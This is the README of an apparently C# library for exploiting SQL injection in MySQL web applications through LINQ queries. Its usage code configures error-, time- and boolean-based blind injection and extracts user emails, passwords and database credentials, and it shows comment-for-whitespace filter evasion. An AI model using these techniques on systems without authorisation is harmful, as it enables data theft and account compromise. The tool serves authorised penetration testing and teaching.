The sharpest tool for SQL Injection.
This is a tool for penetration testers to support manual analysis of SQL injection vulnerabilities. It provides a way to query data through a vulnerability using LINQ like the data were in a regular database. Since queries are expressed as expression trees, the translation of them can be fine-tuned in to every detail.
It also serves educational purposes on LINQ, Expression Trees and Query Providers.
It is not intended to test or attack any target without prior mutual consent. See Disclaimer below.
Set up services:
IServiceCollection services = new ServiceCollection();
services.AddLogging(options => options.AddConsole().SetMinimumLevel(LogLevel.Trace));
services.AddSqlInjection(
database => database.UseMySql(),
attack => attack.UseErrorBased(
builder => builder.Create("http://localhost/vulnerable.php")
.IntoQueryStringParameter("id", initialValue: 1),
errorProvider => errorProvider.UseExponentiationOverflow(),
errorDetection => errorDetection.UsePhp()
)
);
IServiceProvider provider = services.BuildServiceProvider();
Getting the attack:
var injection = provider.GetRequiredService<BlindSqlInjection>();
Running queries:
// get database name
var database = await injection.Context.GetDatabaseNameAsync();
// find users table
var usersTable = await injection.Context.InformationSchema.Tables
.Where(t => t.Schema == database)
.Where(t => t.Name.Like("%user%"))
.Select(t => t.Name)
.FirstAsync();
// acquire the e-mail of the first registered user
var email = await injection.Context.Current.GetTable(usersTable)
.OrderBy(d => d["id"])
.Select(d => d["email"])
.FirstAsync(estimatedLength: 20);
// acquire the password
var password = await injection.Context.Current.GetTable(usersTable)
.OrderBy(d => d["id"])
.Where(d => d["email"] == email)
.Select(d => d["password"])
.FirstAsync(estimatedLength: 40);
You can configure the exact timings for a time attack:
services.AddSqlInjection(
database => database.UseMySql(),
attack => attack.UseTimeBased(
builder => builder.Create(...),
new TimeBasedBlindSqlInjectionOptions
{
InjectedWaitTime = TimeSpan.FromMilliseconds(1000),
SuccessfulTime = TimeSpan.FromMilliseconds(500),
}
)
);
You can configure how to raise errors and how to detect them:
services.AddSqlInjection(
database => database.UseMySql(),
attack => attack.UseErrorBased(
builder => builder.Create(...),
errorProvider => errorProvider.UseExponentiationOverflow(),
errorDetection => errorDetection.UsePhp()
)
);
You have to implement your own boolean-based hypothesis tester:
class CustomHypothesisTester : IHypothesisTester
{
public Task<bool> TestAsync(IQueryable<bool> query)
{
// ...
}
}
And then you can register it as an attack:
services.AddSqlInjection(
database => database.UseMySql(),
attack => attack.UseBooleanBased<CustomHypothesisTester>()
);
This is the function which injects the generated SQL queries into the vulnerable system. For most cases, you can use the built-in builder:
attack => attack.UseTimeBased(
builder => builder.Create("http://localhost/vulnerable.php")
// location
.IntoRouteParameter(initialValue: "slug")
.IntoQueryStringParameter("id", initialValue: 1)
.IntoForm("firstName")
// value type, if no initial value was provided
.AsString()
.AsInteger()
// terminate statement
.TerminateStatement(CommentStyle.MultiLine, parenthesisNestingDepth: 2)
// HTTP method
.UseGet()
.UsePost()
.UseHttpMethod(HttpMethod.Put)
)
If you can't build the injection function using the built-in configurations, you can build your own by implementing the corresponding interfaces:
class CustomInjector : IErrorBasedInjector
{
public CustomInjector(HttpClient http) { /*...*/ }
public Task<HttpResponseMessage> InjectAsync(string sql, CancellationToken cancellationToken)
{
return Http.GetAsync(/*...*/);
}
}
You can access the current database from the data context like this:
var users = injection.Context.Current.GetTable("users")
.OrderBy(u => u["email"])
.Select(u => u["email"])
.ToListAsync();
Since the schema of every database can be different, entities are dynamic. You can access columns by providing their names are string. To differentiate between types, you can use the following functions of DynamicEntity
:
.OrderBy(u => u["email"]) // string
.OrderBy(u => u.Value<string>("email")) // string
.OrderBy(u => u.Value<int>("id")) // int
You can access any database through the data context by calling injection.Context.GetDatabase("name")
.
For example, you can list tables names like this:
var database = await injection.Context.GetDatabaseNameAsync();
var tables = await injection.Context.InformationSchema.Tables
.Where(t => t.Schema == database)
.OrderBy(t => t.Name)
.Select(t => t.Name)
.ToListAsync();
You can query users that are allowed to connect from anywhere:
var users = await injection.Context.MySql.User
.Where(t => t.Host == "%")
.Where(t => t.AccountLocked == false)
.Select(t => t.Name)
.ToListAsync();
You can also get the credentials of the current database user:
var user = await injection.Context.MySql.GetDatabaseUserNameAsync();
var password = await injection.Context.MySql.GetDatabasePasswordAsync();
You can import MySQL functions:
using static MySqlFunctions;
And then you can easily access them in a query:
.Select(d => If(Ascii(Substring(Database(), 1, 1)).Between(97, 122), null, Sleep(1)))
You can create and register your own SQL writer:
services.AddScoped<SqlWriter, CustomSqlWriter>();
class CustomSqlWriter : MySqlWriter
{
public override void WriteString(string str) => Write($"\"{Escape(str)}\"");
}
class CustomSqlWriter : MySqlWriter
{
public override void WriteOptionalWhiteSpace() { };
}
class CustomSqlWriter : MySqlWriter
{
public override void WriteWhiteSpace() => Write("/**/");
}
- Only MySQL is supported.
- Translation of advanced queries (joins, group by) are not supported.
Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.